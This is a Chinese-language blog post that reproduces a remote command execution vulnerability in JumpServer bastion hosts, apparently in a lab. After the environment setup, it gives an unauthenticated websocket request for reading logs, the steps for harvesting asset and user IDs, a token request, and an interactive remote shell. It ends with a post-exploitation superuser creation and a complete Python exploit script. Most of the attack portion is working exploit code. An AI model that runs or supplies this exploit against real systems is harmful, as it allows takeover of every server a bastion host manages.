jumpserver 远程命令执行RCE漏洞复现和利用

0x01 简介

  • JumpServer远程执行漏洞 RCE EXP
  • Jumpserver 是一款由python编写开源的跳板机(堡垒机)系统,是内网中的一种集权系统,拿下后基本上都是可以控制大量的服务器。
  • 项目地址:https://github.com/jumpserver/jumpserver

0x02 漏洞原理

远程命令执行漏洞:由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,再通过敏感信息获取一个20s的token,最后利用这个token去执行相关API操作控制其中所有机器或者执行任意命令。

0x03 影响版本:

  • JumpServer < v2.6.2
  • JumpServer < v2.5.4
  • JumpServer < v2.4.5
  • JumpServer = v1.5.9

0x04 复现环境搭建注意坑点

环境搭建推荐使用一键安装,因为环境比较麻烦,而且还得是旧版的,这里是v2.6.1

安装脚本V2.6.1 https://www.o2oxy.cn/wp-content/uploads/2021/01/quick\_start.zip

  • 注意要给环境配置高一点,否则会卡死。(我是 Centos 7 系统 4核 8G)

  • 使用一件脚本的时候,推荐不使用外部 mysql和redis,这样他就会docker自己创建数据库,省的自己配报错。

image-20211116213713089

image-20211116215738873

  • 搭建好了,服务一键启动 ./jmsctl.sh restart

  • 搭建好了,默认的账户和密码是 admin admin

http://10.211.55.22:8080/core/auth/login/

登陆之后还不能直接用,还有配置一下,分配一下服务器才能使用。

image-20211116135025055

image-20211116140247634

1、创建一个系统用户

  • 系统用户是 JumpServer 跳转登录资产时使用的用户

image-20211116162139678

2、创建管理用户

管理用户是资产(被控服务器)上的 root,或拥有 NOPASSWD: ALL sudo 权限的用户

我的被管理主机就是 root root

image-20211116162425352

3、创建资产

就是要管理的终端

image-20211116161329363

4、资产授权

只有给资产授权,控制台才有机器,才能管理

image-20211116214033044

5、web终端连接

访问web终端:

1
http://10.211.55.22:8080/luna/

image-20211116213928187

0x05 漏洞复现

1、请求未授权 socketweb

1
ws://10.211.55.22:8080/ws/ops/tasks/log/

利用chrome插件https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related

请求log文件

1
{"task":"/opt/jumpserver/logs/gunicorn"}

image-20211116213021155

2、获取system_user user_id asset_id 这三个重要参数

自己搜索一下这三个id

image-20211116210851228

所以获取到的是

1
asset_id=230f921b-be1c-4343-8bab-57d4410606bb&cache_policy=1&system_user_id=03705092-18e7-4b65-a12a-7991f9c50740&user_id=0cae929c-5f7a-41a4-b873-bc9d28613c4c

3、对应填入EXP中

exp为了美观放到最后

1
2
3
4
5
6
7
8
9
文件最后需要修改的:

host = "http://10.211.55.22:8080"

data = {
"user": "0cae929c-5f7a-41a4-b873-bc9d28613c4c",
"asset": "230f921b-be1c-4343-8bab-57d4410606bb",
"system_user": "03705092-18e7-4b65-a12a-7991f9c50740",
}

4、成功利用:

image-20211116211942852

后利用:创建超管

获取到shell,我们可以直接创建超管,毕竟主机权限没什么用,登陆系统之后才有大量的主机。

命令行创建超管

1
2
3
4
切换到目录  
cd /opt/jumpserver/apps

python manage.py createsuperuser

image-20211116151519867

超管登陆成功

image-20211116151545855

EXP

EXP 代码 仓库 https://github.com/Skactor/jumpserver\_rce

我实测,这个手动获取 asset_id system_user_id user_id 这三个可以正常触发漏洞,但是好多自动化获取多少有点问题,反正我的是没成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import os

import asyncio
import aioconsole

import websockets
import requests
import json

url = "/api/v1/authentication/connection-token/?user-only=1"


def get_celery_task_log_path(task_id):
task_id = str(task_id)
rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")
path = os.path.join("/opt/jumpserver/", rel_path)
return path


async def send_msg(websocket, _text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)


async def send_loop(ws, session_id):
while True:
cmdline = await aioconsole.ainput()
await send_msg(
ws,
json.dumps(
{"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}
),
)


async def recv_loop(ws):
while True:
recv_text = await ws.recv()
ret = json.loads(recv_text)
if ret.get("type", "TERMINAL_DATA"):
await aioconsole.aprint(ret["data"], end="")


# 客户端主逻辑
async def main_logic():
print("#######start ws")
async with websockets.connect(target) as client:
recv_text = await client.recv()
print(f"{recv_text}")
session_id = json.loads(recv_text)["id"]
print("get ws id:" + session_id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps(
{
"id": session_id,
"type": "TERMINAL_INIT",
"data": '{"cols":164,"rows":17}',
}
)
await send_msg(client, inittext)
await asyncio.gather(recv_loop(client), send_loop(client, session_id))


if __name__ == "__main__":
host = "http://10.211.55.22:8080"
cmd = "whoami"
if host[-1] == "/":
host = host[:-1]
print(host)
data = {
"user": "0cae929c-5f7a-41a4-b873-bc9d28613c4c",
"asset": "230f921b-be1c-4343-8bab-57d4410606bb",
"system_user": "03705092-18e7-4b65-a12a-7991f9c50740",
}
print("##################")
print("get token url:%s" % (host + url,))
print("##################")
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target = (
"ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token
)
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic())